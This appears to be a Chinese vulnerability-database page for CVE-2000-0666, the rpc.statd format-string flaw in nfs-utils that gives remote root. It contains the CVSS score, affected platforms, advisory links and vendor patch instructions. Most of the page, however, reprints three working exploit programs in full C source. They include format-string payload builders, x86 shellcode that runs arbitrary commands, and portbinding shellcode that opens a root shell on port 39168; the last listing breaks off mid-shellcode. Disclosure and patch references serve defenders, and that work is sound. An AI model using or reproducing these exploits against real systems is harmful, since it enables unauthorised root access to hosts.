CVE-2000-0666
CVSS10.0
发布时间 :2000-07-16 00:00:00
修订时间 :2008-09-05 16:21:35
NMCOES    

[原文]rpc.statd in the nfs-utils package in various Linux distributions does not properly cleanse untrusted format strings, which allows remote attackers to gain root privileges.


[CNNVD]Linux rpc.statd远程格式串溢出漏洞(CNNVD-200007-039)

        
        rpc.statd是一种用于监视并控制NFS的RPC守护进程,广泛运行于种Unix/Linux类操作系统上,程序使用NSM(Network Status Monitor)协议。
        某些Linux系统所带的nfs-utils软件包中的rpc.statd程序存在一个格式串溢出漏洞,远程攻击者可以利用此漏洞通过溢出攻击在主机上以root用户的权限执行任意指令。
        通过设置特殊的格式化字符串,并在某个buffer中提供可执行代码,可能允许远程攻击者覆盖rpc.statd堆栈中的某个返回地址,远程执行任意命令是可能的。由于rpc.statd通常是以root身份运行,而且没有丢弃root权限,因此溢出代码会以root身份执行。Debian、Red Hat、Connectiva和Mandrake Linux已经发布了安全公告并提供了安全补丁。其他运行rpc.statd的Linux也存在这个问题。幸运的是,默认情况下很多Linux并没有启动rpc.statd服务。
        

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:redhat:linux:6.0::i386
cpe:/o:redhat:linux:6.1::i386
cpe:/o:redhat:linux:6.2::sparc
cpe:/o:debian:debian_linux:2.3::powerpc
cpe:/o:conectiva:linux:5.1Conectiva Conectiva Linux 5.1
cpe:/o:suse:suse_linux:6.3SuSE SuSE Linux 6.3
cpe:/o:suse:suse_linux:6.4:alphaSuSE SuSE Linux 6.4 alpha
cpe:/o:suse:suse_linux:6.4SuSE SuSE Linux 6.4
cpe:/o:debian:debian_linux:2.3::sparc
cpe:/o:redhat:linux:6.0::sparc
cpe:/o:debian:debian_linux:2.2Debian Debian Linux 2.2
cpe:/o:suse:suse_linux:6.3::ppc
cpe:/o:conectiva:linux:4.2Conectiva Conectiva Linux 4.2
cpe:/o:suse:suse_linux:6.4::ppc
cpe:/o:conectiva:linux:4.0esConectiva Conectiva Linux 4.0es
cpe:/o:debian:debian_linux:2.2::powerpc
cpe:/o:redhat:linux:6.2::alpha
cpe:/o:redhat:linux:6.1::alpha
cpe:/o:trustix:secure_linux:1.0Trustix Trustix Linux 1.0
cpe:/o:trustix:secure_linux:1.1Trustix Secure Linux 1.1
cpe:/o:debian:debian_linux:2.3::alpha
cpe:/o:debian:debian_linux:2.2::alpha
cpe:/o:debian:debian_linux:2.3Debian Debian Linux 2.3
cpe:/o:conectiva:linux:4.0Conectiva Conectiva Linux 4.0
cpe:/o:redhat:linux:6.1::sparc
cpe:/o:redhat:linux:6.0::alpha
cpe:/o:suse:suse_linux:7.0SuSE SuSE Linux 7.0
cpe:/o:conectiva:linux:5.0Conectiva Conectiva Linux 5.0
cpe:/o:debian:debian_linux:2.2::sparc
cpe:/o:redhat:linux:6.2::i386
cpe:/o:suse:suse_linux:6.3:alphaSuSE SuSE Linux 6.3 alpha
cpe:/o:conectiva:linux:4.1Conectiva Conectiva Linux 4.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0666
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0666
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200007-039
(官方数据源) CNNVD

- 其它链接及资源

http://www.cert.org/advisories/CA-2000-17.html
(UNKNOWN)  CERT  CA-2000-17
http://xforce.iss.net/static/4939.php
(VENDOR_ADVISORY)  XF  linux-rpcstatd-format-overwrite
http://www.securityfocus.com/bid/1480
(VENDOR_ADVISORY)  BID  1480
http://archives.neohapsis.com/archives/bugtraq/2000-07/0206.html
(VENDOR_ADVISORY)  BUGTRAQ  20000716 Lots and lots of fun with rpc.statd
http://www.redhat.com/support/errata/RHSA-2000-043.html
(UNKNOWN)  REDHAT  RHSA-2000:043
http://www.calderasystems.com/support/security/advisories/CSSA-2000-025.0.txt
(UNKNOWN)  CALDERA  CSSA-2000-025.0
http://archives.neohapsis.com/archives/bugtraq/2000-07/0260.html
(UNKNOWN)  BUGTRAQ  20000718 [Security Announce] MDKSA-2000:021 nfs-utils update
http://archives.neohapsis.com/archives/bugtraq/2000-07/0236.html
(UNKNOWN)  BUGTRAQ  20000718 Trustix Security Advisory - nfs-utils
http://archives.neohapsis.com/archives/bugtraq/2000-07/0230.html
(UNKNOWN)  BUGTRAQ  20000717 CONECTIVA LINUX SECURITY ANNOUNCEMENT - nfs-utils

- 漏洞信息

Linux rpc.statd远程格式串溢出漏洞
危急 输入验证
2000-07-16 00:00:00 2005-05-02 00:00:00
远程  
        
        rpc.statd是一种用于监视并控制NFS的RPC守护进程,广泛运行于种Unix/Linux类操作系统上,程序使用NSM(Network Status Monitor)协议。
        某些Linux系统所带的nfs-utils软件包中的rpc.statd程序存在一个格式串溢出漏洞,远程攻击者可以利用此漏洞通过溢出攻击在主机上以root用户的权限执行任意指令。
        通过设置特殊的格式化字符串,并在某个buffer中提供可执行代码,可能允许远程攻击者覆盖rpc.statd堆栈中的某个返回地址,远程执行任意命令是可能的。由于rpc.statd通常是以root身份运行,而且没有丢弃root权限,因此溢出代码会以root身份执行。Debian、Red Hat、Connectiva和Mandrake Linux已经发布了安全公告并提供了安全补丁。其他运行rpc.statd的Linux也存在这个问题。幸运的是,默认情况下很多Linux并没有启动rpc.statd服务。
        

- 公告与补丁

        厂商补丁:
        Conectiva
        ---------
        Conectiva已经为此发布了一个安全公告(2000-07-17)以及相应补丁:
        2000-07-17:nfs-utils
        链接:
        补丁下载:
        Debian
        ------
        Debian已经为此发布了一个安全公告(Debian-00-013)以及相应补丁:
        Debian-00-013:New Debian nfs-common packages released
        链接:
        http://www.debian.org/security/2000/debian-

        补丁下载:
        Source archives:
        
        http://http.us.debian.org/debian/dists/potato/main/source/net/nfs-utils_0.1.9.1-1.tar.gz

        
        http://http.us.debian.org/debian/dists/potato/main/source/net/nfs-utils_0.1.9.1-1.dsc

        Alpha architecture:
        
        http://http.us.debian.org/debian/dists/potato/main/binary-alpha/net/nfs-common_0.1.9.1-1.deb

        Intel ia32 architecture:
        
        http://http.us.debian.org/debian/dists/potato/main/binary-i386/net/nfs-common_0.1.9.1-1.deb

        PowerPC architecture:
        
        http://http.us.debian.org/debian/dists/potato/main/binary-powerpc/net/nfs-common_0.1.9.1-1.deb

        Sun Sparc architecture:
        
        http://http.us.debian.org/debian/dists/potato/main/binary-sparc/net/nfs-common_0.1.9.1-1.deb

        Debian Unstable alias woody
        - ---------------------------
        This version of Debian is not yet released. Fixes are currently available
        for Alpha, Intel ia32, PowerPC, and the Sun Sparc architecture. Fixes for
        other architectures will be available soon.
        Source archives:
        
        http://http.us.debian.org/debian/dists/unstable/main/source/net/nfs-utils_0.1.9.1-1.tar.gz

        
        http://http.us.debian.

        补丁安装方法:
        1. 手工安装补丁包:
         首先,使用下面的命令来下载补丁软件:
         # wget url (url是补丁下载链接地址)
         然后,使用下面的命令来安装补丁:
         # dpkg -i file.deb (file是相应的补丁名)
        2. 使用apt-get自动安装补丁包:
         首先,使用下面的命令更新内部数据库:
         # apt-get update
        
         然后,使用下面的命令安装更新软件包:
         # apt-get upgrade
        MandrakeSoft
        ------------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Linux-Mandrake 7.0:
        ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.0/RPMS/nfs-utils-0.1.9.1-3mdk.i586.rpm
        ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.0/RPMS/nfs-utils-clients-0.1.9.1-3mdk.i586.rpm
        ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.0/SRPMS/nfs-utils-0.1.9.1-3mdk.src.rpm
        Linux-Mandrake 7.1:
        ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.1/RPMS/nfs-utils-0.1.9.1-3mdk.i586.rpm
        ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.1/RPMS/nfs-utils-clients-0.1.9.1-3mdk.i586.rpm
        ftp://ftp.free.fr/pub/Distributions_Linux/Mandrake/updates/7.1/SRPMS/nfs-utils-0.1.9.1-3mdk.src.rpm
        RedHat
        ------
        RedHat已经为此发布了一个安全公告(RHSA-2000:043-03)以及相应补丁:
        RHSA-2000:043-03:Revised advisory: Updated package for nfs-utils available
        链接:https://www.redhat.com/support/errata/RHSA-2000-043.html
        补丁下载:
        Red Hat Linux 6.2:
        sparc:
        ftp://updates.redhat.com/6.2/sparc/nfs-utils-0.1.9.1-1.sparc.rpm
        alpha:
        ftp://updates.redhat.com/6.2/alpha/nfs-utils-0.1.9.1-1.alpha.rpm
        i386:
        ftp://updates.redhat.com/6.2/i386/nfs-utils-0.1.9.1-1.i386.rpm
        sources:
        ftp://updates.redhat.com/6.2/SRPMS/nfs-utils-0.1.9.1-1.src.rpm
        可使用下列命令安装补丁:
        rpm -Fvh [文件名]
        Trustix
        -------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        Trustix Trustix Secure Linux 1.1:
        Trustix RPM nfs-utils-0.1.9.1-1tr.i586.rpm
        ftp://ftp.trustix.com/pub/Trustix/updates/1.1/RPMS/
        Trustix Trustix Secure Linux 1.0:
        Trustix RPM nfs-utils-0.1.9.1-1tr.i586.rpm
        ftp://ftp.trustix.com/pub/Trustix/updates/1.1/RPMS/

- 漏洞信息 (20075)

Conectiva 4.x/5.x,Debian 2.x,RedHat 6.x,S.u.S.E 6.x/7.0,Trustix 1.x rpc.statd Remote Format String (1) (EDBID:20075)
linux remote
2000-07-16 Verified
0 drow
N/A [点击下载]
source: http://www.securityfocus.com/bid/1480/info

A vulnerability exists in the 'rpc.statd' program, which is part of the 'nfs-utils' package that is shipped with a number of popular Linux distributions. Because of a format-string vulnerability when calling the 'syslog()' function, a remote attacker can execute code as root. 

The 'rpc.statd' server is an RPC server that implements the Network Status and Monitor RPC protocol. It's a component of the Network File System (NFS) architecture. 

The logging code in 'rpc.statd' uses the 'syslog()' function, passing it as the format string user-supplied data. A malicious user can construct a format string that injects executable code into the process address space and overwrites a function's return address, thus forcing the program to execute the code. 
The 'rpc.statd' server requires root privileges for opening its network socket, but fails to drop these privileges later on. Therefore, code run by the malicious user will execute with root privileges. 

Debian, Red Hat, and Connectiva have all released advisories. Presumably, any Linux distribution that runs the statd process is vulnerable unless patched for the problem.

/*
 * Slightly dysfunctional rpc.statd exploit
 *  for all the dysfunctional script kiddies out there
 *
 * Author: drow, 07/2000
 *
 * And just for kicks...
 * Greets:
 *  Chris Evans, whose fault all this is
 *  whoever wrote the old solaris statd exploit I ripped the RPC code out of
 *  <james> send out greetz to all the 1337 D3B14N H4X0R2!!!!
 *  and THEM (THEY know who THEY are)
 *
 *
 * This is dedicated to Joel Klecker.  Those who knew him know why.
 *
 */

#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

void usage(char *s) {
  printf("Usage: %s host [-nopoke]\n", s);
  exit(0);
}

extern char shell[];

main(int argc, char *argv[]) {
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd, i, noplen=strlen(nop), nopoke=0;
  char *ptr=code, *p2, code[4096];

  if (argc < 2)
    usage(argv[0]);
  if (argc > 2)
    nopoke = 1;

  /* Alignment */
  strcpy(ptr, "AAA");
  ptr += strlen(ptr);
  
  /* Target to write to! */
  *(unsigned long *)(ptr) = 0x7fffeb04;
  ptr += sizeof(unsigned long);
  
  /* pad */
  *(unsigned long *)(ptr) = 0x11111111;
  ptr += sizeof(unsigned long);

  /* Target Two (two higher in memory probably) */
  *(unsigned long *)(ptr) = 0x7fffeb06;
  ptr += sizeof(unsigned long);
  
  for(i = 0; i < 46-1; i++) {
    strcpy(ptr, "%12d");
    ptr += strlen(ptr);
  }

if(!nopoke) {
  /* Value to write - amount written */
  /* Guess a bit - remember to leave a lot of padding, and be lucky on alignment */
  /* Don't correct for IP address!  Forced to localhost by stat code - same length. */
#define HIGH 0x7fff
#define LOW 0xeecc
  sprintf(ptr, "%%%dd%%hn", HIGH - 12*45
  	  - strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC"));
  ptr += strlen(ptr);

  sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536);
  ptr += strlen(ptr);

  /* CODE */
  p2 = shell;
  while(*p2)
    *(ptr++) = *(p2++);
}
  *(ptr++) = 0;

  memset(&monreq, 0, sizeof(monreq));
  monreq.mon_id.my_id.my_name="localhost";
  monreq.mon_id.my_id.my_prog=0;
  monreq.mon_id.my_id.my_vers=0;
  monreq.mon_id.my_id.my_proc=0;
  monreq.mon_id.mon_name= code  /*code*/;

  if ((hp=gethostbyname(argv[1])) == NULL) {
    printf("Can't resolve %s\n", argv[1]);
    exit(0);
  }
  target.sin_family=AF_INET;
  target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  target.sin_port=0;    /* ask portmap */
  sd=RPC_ANYSOCK;

  tm.tv_sec=10;
  tm.tv_usec=0;
  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
    clnt_pcreateerror("clnt_create");
    exit(0);
  }
  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                (char *)&monres, tm);
  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");
  else
    printf("stat_res = %d.\n", monres.res_stat);
  clnt_destroy(cl);
}		

- 漏洞信息 (20076)

Conectiva 4.x/5.x,Debian 2.x,RedHat 6.x,S.u.S.E 6.x/7.0,Trustix 1.x rpc.statd Remote Format String (2) (EDBID:20076)
linux remote
2000-08-01 Verified
0 Doing
N/A [点击下载]
source: http://www.securityfocus.com/bid/1480/info
 
A vulnerability exists in the 'rpc.statd' program, which is part of the 'nfs-utils' package that is shipped with a number of popular Linux distributions. Because of a format-string vulnerability when calling the 'syslog()' function, a remote attacker can execute code as root.
 
The 'rpc.statd' server is an RPC server that implements the Network Status and Monitor RPC protocol. It's a component of the Network File System (NFS) architecture.
 
The logging code in 'rpc.statd' uses the 'syslog()' function, passing it as the format string user-supplied data. A malicious user can construct a format string that injects executable code into the process address space and overwrites a function's return address, thus forcing the program to execute the code.
The 'rpc.statd' server requires root privileges for opening its network socket, but fails to drop these privileges later on. Therefore, code run by the malicious user will execute with root privileges.
 
Debian, Red Hat, and Connectiva have all released advisories. Presumably, any Linux distribution that runs the statd process is vulnerable unless patched for the problem.



/*
 * rpc.statd remote root xploit for linux/x86
 * based on the xploit made by drow for linux/PowerPC 
 *
 * Author: Doing, 08/2000
 *
 * NOTE:
 * The guest of the remote address of the saved EIP and local vars 
 * is still a problem. The value showed on the usage worked
 * fine on mi suse with the compiled sources. With gdb and a little
 * patience you should get the address for your distro/version.
 * Some address doesn't work, because they cause a very long result,
 * and the syslog() function overflows itself when parsing the
 * format input :(
 *
 * Greetz to Pascal Bouchareine for that great paper on format bugs :)
 *
 * Y saludos a los canales #phreak y #hacker_novatos del IRC hispano :P
 *
 * Excuse my poor english :-)
 *
 */

#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>

void usage(char *s) {
  printf("rpc.statd xploit for linux/x86 - Doing
<jdoing@bigfoot.com>\n");
  printf("Usage: %s host address command\n", s);
  printf("host\t: the targe host\n");
  printf("address\t: the address of the buffer in function log()\n");
  printf("command\t: command to run remotely\n\n");
  printf("ej:%s 127.0.0.1 0xbffff3d4 \"/usr/X11R6/bin/xterm -ut -display
127.0.0.1:0\"\n\n", s);
  printf("Enjoy!\n");
  exit(0);
}

/*
   shellcode without cr/lf and control caracters
*/
char *code =
"\xeb\x4b\x5e\x89\x76\xac\x83\xee\x20\x8d\x5e\x28\x83\xc6\x20\x89"
"\x5e\xb0\x83\xee\x20\x8d\x5e\x2e\x83\xc6\x20\x83\xc3\x20\x83\xeb"
"\x23\x89\x5e\xb4\x31\xc0\x83\xee\x20\x88\x46\x27\x88\x46\x2a\x83"
"\xc6\x20\x88\x46\xab\x89\x46\xb8\xb0\x2b\x2c\x20\x89\xf3\x8d\x4e"
"\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xb0\xff"
"\xff\xff/bin/sh -c ";

char shellcode[4096];

void make_shellcode(char *cdir, char *cmd)
{
  unsigned long dir, ret;
  int c, eat = 14;
  int first_n = 0xc9;
  char tmp[1024];
  int i, i0, i1, i2;
  char *ptr = shellcode;

  memset(shellcode, 0, 4096);

  sscanf(cdir, "%x", &dir);

  ret = dir + 0xd0 - 20; /* put ret address into nop-space :) */ 

  dir += 1028;  /*  dir = address of saved EIP = address of buffer +
1024 bytes of buffer + 4 bytes of SFP */

  ptr = &shellcode[strlen(shellcode)];
  sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	 (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  ptr = &shellcode[strlen(shellcode)];
  sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	 (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  ptr = &shellcode[strlen(shellcode)];
  dir++;
  sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	 (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  ptr = &shellcode[strlen(shellcode)];
  sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	 (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  ptr = &shellcode[strlen(shellcode)];
  dir++;
  sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	 (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  ptr = &shellcode[strlen(shellcode)];
  sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	 (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  ptr = &shellcode[strlen(shellcode)];
  dir++;
  sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	 (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  ptr = &shellcode[strlen(shellcode)];
  sprintf(ptr, "%c%c%c%c", dir & 0xff, (dir & 0xff00) >> 8,
	 (dir & 0xff0000) >> 16, (dir & 0xff000000) >> 24);
  ptr = &shellcode[strlen(shellcode)];

  for ( c = 0; c < eat; c++) {
    sprintf(ptr, "%%x ");
    ptr = &shellcode[strlen(shellcode)];
  }

  i0 = (ret & 0xff);
  if (i0 > first_n)  sprintf(ptr, "%%0%ix%%n", i0 - first_n);
  if (i0 == first_n) sprintf(ptr, "%%n");  
  if (i0 < first_n)  {
    i0 |= 0x0100;
    sprintf(ptr, "%%0%ix%%n", i0 - first_n);
  }
  ptr = &shellcode[strlen(shellcode)];


  i = (ret & 0xff00) >> 8;
  if (i > i0)  sprintf(ptr, "%%0%ix%%n", i - i0);
  if (i == i0) sprintf(ptr, "%%n");
  if (i < i0) {
    i |= 0x0100;
    sprintf(ptr, "%%0%ix%%n", i - i0);
  }
  ptr = &shellcode[strlen(shellcode)];


  i1 = (ret & 0xff0000) >> 16;
  if (i1 > i)  sprintf(ptr, "%%0%ix%%n", i1 - i);
  if (i1 == i) sprintf(ptr, "%%n");
  if (i1 < i) {
    i1 |= 0x0100;
    sprintf(ptr, "%%0%ix%%n", i1 - i);
  }
  ptr = &shellcode[strlen(shellcode)];


  i2 = (ret & 0xff000000) >> 24;
  i2 |= 0x0200; 
  sprintf(ptr, "%%0%ix%%n", i2 - i1);
  ptr = &shellcode[strlen(shellcode)];
  

  for (c = 0; c < 50; c++) {
    sprintf(ptr, "\x90");
    ptr = &shellcode[strlen(shellcode)];
  }
  sprintf(ptr, "%s%s\x00", code, cmd);
}

main(int argc, char *argv[]) {
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd, i;

  if (argc < 4)
    usage(argv[0]);

  make_shellcode(argv[2], argv[3]);

  memset(&monreq, 0, sizeof(monreq));
  monreq.mon_id.my_id.my_name ="localhost";
  monreq.mon_id.my_id.my_prog = 0;
  monreq.mon_id.my_id.my_vers = 0;
  monreq.mon_id.my_id.my_proc = 0;
  monreq.mon_id.mon_name = shellcode;
  
  if ((hp=gethostbyname(argv[1])) == NULL) {
    printf("Can't resolve %s\n", argv[1]);
    exit(0);
  }
  target.sin_family=AF_INET;
  target.sin_addr.s_addr=*(u_long *)hp->h_addr;
  target.sin_port=0;    /* ask portmap */
  sd = RPC_ANYSOCK;

  tm.tv_sec=10;
  tm.tv_usec=0;
  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
    clnt_pcreateerror("clnt_create");
    exit(0);
  }
  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                (char *)&monres, tm);
  if (stat != RPC_SUCCESS)
    clnt_perror(cl, "clnt_call");
  else
    printf("stat_res = %d.\n", monres.res_stat);
  clnt_destroy(cl);
}






















































		

- 漏洞信息 (20077)

Conectiva 4.x/5.x,Debian 2.x,RedHat 6.x,S.u.S.E 6.x/7.0,Trustix 1.x rpc.statd Remote Format String (3) (EDBID:20077)
linux remote
2000-08-03 Verified
0 ron1n
N/A [点击下载]
source: http://www.securityfocus.com/bid/1480/info
  
A vulnerability exists in the 'rpc.statd' program, which is part of the 'nfs-utils' package that is shipped with a number of popular Linux distributions. Because of a format-string vulnerability when calling the 'syslog()' function, a remote attacker can execute code as root.
  
The 'rpc.statd' server is an RPC server that implements the Network Status and Monitor RPC protocol. It's a component of the Network File System (NFS) architecture.
  
The logging code in 'rpc.statd' uses the 'syslog()' function, passing it as the format string user-supplied data. A malicious user can construct a format string that injects executable code into the process address space and overwrites a function's return address, thus forcing the program to execute the code.
The 'rpc.statd' server requires root privileges for opening its network socket, but fails to drop these privileges later on. Therefore, code run by the malicious user will execute with root privileges.
  
Debian, Red Hat, and Connectiva have all released advisories. Presumably, any Linux distribution that runs the statd process is vulnerable unless patched for the problem.


/**
*** statdx
*** Redhat Linux 6.0/6.1/6.2 rpc.statd remote root exploit (IA32)
*** by ron1n <shellcode@hotmail.com>
***
*** August 3, 2000
*** Sydney, Australia
***
*** Oh you prob'ly won't remember me
*** It's prob'ly ancient history
*** I'm one of the chosen few
*** Who went ahead and fell for you
***
*** $ gcc -o statdx statdx.c ; ./statdx -h
***
*** Thanks to smiler for the format string vulnerability clarification. 
***
*** background info
*** ---------------
*** rpc.statd is an ONC RPC server that implements the Network Status
*** Monitor RPC protocol to provide reboot notification. It is used by
*** the NFS file locking service (rpc.lockd) when it performs lock
*** recovery.
***
*** Due to a format string vulnerability in a call to syslog() within
*** its logging module, rpc.statd can be exploited remotely by script
*** kids bent on breaking into your Redhat Linux box and defacing your
*** website with crackpot political musings.
***
*** This is not a traditional buffer overflow vulnerability. The data
*** are kept within the bounds of the buffer by means of a call to
*** vsnprintf(). The saved return address can be overwritten indirectly
*** without a contiguous payload. syslog() is given, for the most part,
*** a user-supplied format string with no process-supplied arguments.
*** Our format string will, if carefully constructed, cause the process
*** to cull non-arbitrary addresses from the top of the stack for
*** sequential writes using controlled values. Exploitation requires
*** an executable stack on the target host -- almost invariably the
*** case. This problem was corrected in the nfs-utils-0.1.9.1 rpm.
***
*** exploit info
*** ------------
*** You have one shot at this in most situations, so get it right!
***
*** If you know the port number rpc.statd is serving requests on, you
*** can supply the port number on the commandline to bypass the initial
*** portmapper query. This is very useful for hosts which are filtering
*** inbound connections to the portmapper. The default attack protocol
*** is UDP. There is a commandline option to use TCP. Apparently, the
*** dispatcher uses both protocols by default.
***
*** If you're only interested in exploiting a host, then you can safely
*** skip the following information. You'll only need a buffer address
*** to get started. This buffer address will either be one of my canned
*** ones or your own one. It must be precise, and this is where you're
*** likely to experience difficulties with your attacks.
***
*** [va_list][str][4][r][4][r+1][4][r+2][4][r+3]----->
*** |       |
*** %esp    buffer[1024]
***
*** [%8x..][%!x][%n][%!x][%n][%!x][%n][%!x][%n][sc]--->
***        |   r   |   r+1  |   r+2  |  r+3   |
***
*** buffer  ->  This is the address you'll need (-a and -l options)
*** str     ->  Process-supplied string; 24 bytes long
*** 4       ->  Duplicate dwords to satisfy the %!d specifiers and
***             the double %n when two successive values are equal
*** r       ->  Stack position of saved eip
*** %8x..   ->  Wipes the va_list dword and str; 9 by default (-w option)
*** %!x     ->  Used for padding to form an aggregate overwrite value;
***             the exclamation mark denotes a field width. This may
***             or may not be present, depending on the value. An
***             algorithm is used to allow tricky values.
*** %n      ->  Writes overwrite value to the corresponding address
*** sc      ->  Nops + portbinding shellcode (port 39168)
***
*** Only modify the default wipe value and the default offset value if you
*** know what you're doing.
***
*** An easy way to get the buffer address for simulation systems that you
*** have privileged access to:
***
*** [term 1]# ltrace -p `pidof rpc.statd` -o foo
*** [term 2]$ ./statdx -a 0x41414141 localhost
*** [term 1]# grep vsnprintf foo | head -1 | sed 's/.*(//' | \
***          awk -F"," '{print $1}'
***
*** (Of course, ensure that rpc.statd is started at boot time and not from
*** an interactive shell, otherwise it will inherit a larger environment
*** and blow the accuracy of your findings.)
***
*** Ok, longwinded enough. Let's dance.
***
*** greets
*** ------
*** ADM, attrition, rogues, security.is, teso
***
**/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define SM_PROG 100024
#define SM_VERS 1
#define SM_STAT 1
#define SM_MAXSTRLEN 1024

#define max(a,b) ((a)>(b)?(a):(b))

#define NOP 0x90

/*
** Non-ripped linux IA32 portbinding shellcode.
** port: 39168 ; length: 133 bytes
*/

char shellcode[] =
"\x31\xc0"                              /* xorl   %eax,%eax             */
/* jmp ricochet ------------------------------------------------------- */
"\xeb\x7c"                              /* jmp    0x7c                  */
/* kungfu: ------------------------------------------------------------ */
"\x59"                                  /* popl   %ecx                  */
"\x89\x41\x10"                          /* movl   %eax,0x10(%ecx)       */
/* ------------------------------------ socket(2,1,0); ---------------- */
"\x89\x41\x08"                          /* movl   %eax,0x8(%ecx)        */
"\xfe\xc0"                              /* incb   %al                   */
"\x89\x41\x04"                          /* movl   %eax,0x4(%ecx)        */
"\x89\xc3"                              /* movl   %eax,%ebx             */
"\xfe\xc0"                              /* incb   %al                   */
"\x89\x01"                              /* movl   %eax,(%ecx)           */
"\xb0\x66"                              /* movb   $0x66,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ bind(sd,&sockaddr,16); -------- */
"\xb3\x02"                              /* movb   $0x2,%bl              */
"\x89\x59\x0c"                          /* movl   %ebx,0xc(%ecx)        */
"\xc6\x41\x0e\x99"                      /* movb   $0x99,0xe(%ecx)       */
"\xc6\x41\x08\x10"                      /* movb   $0x10,0x8(%ecx)       */
"\x89\x49\x04"                          /* movl   %ecx,0x4(%ecx)        */
"\x80\x41\x04\x0c"                      /* addb   $0xc,0x4(%ecx)        */
"\x88\x01"                              /* movb   %al,(%ecx)            */
"\xb0\x66"                              /* movb   $0x66,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ listen(sd,blah); -------------- */
"\xb3\x04"                              /* movb   $0x4,%bl              */
"\xb0\x66"                              /* movb   $0x66,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ accept(sd,0,16); -------------- */
"\xb3\x05"                              /* movb   $0x5,%bl              */
"\x30\xc0"                              /* xorb   %al,%al               */
"\x88\x41\x04"                          /* movb   %al,0x4(%ecx)         */
"\xb0\x66"                              /* movb   $0x66,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ dup2(cd,0); ------------------- */
"\x89\xce"                              /* movl   %ecx,%esi             */
"\x88\xc3"                              /* movb   %al,%bl               */
"\x31\xc9"                              /* xorl   %ecx,%ecx             */
"\xb0\x3f"                              /* movb   $0x3f,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ dup2(cd,1); ------------------- */
"\xfe\xc1"                              /* incb   %cl                   */
"\xb0\x3f"                              /* movb   $0x3f,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ dup2(cd,2); ------------------- */
"\xfe\xc1"                              /* incb   %cl                   */
"\xb0\x3f"                              /* movb   $0x3f,%al             */
"\xcd\x80"                              /* int    $0x80                 */
/* ------------------------------------ execve("/bin/sh",argv,0); ----- */
"\xc7\x06\x2f\x62\x69\x6e"              /* movl   $0x6e69622f,(%esi)    */
"\xc7\x46\x04\x2f\x73\x68\x41"          /* movl   $0x4168732f,0x4(%esi) */
"\x30\xc0"                              /* xorb   %al,%al               */
"\x88\x46\x07"                          /* movb   %al,0x7(%esi)         */
"\x89\x76\x0c"                          /* movl   %esi,0xc(%esi)        */
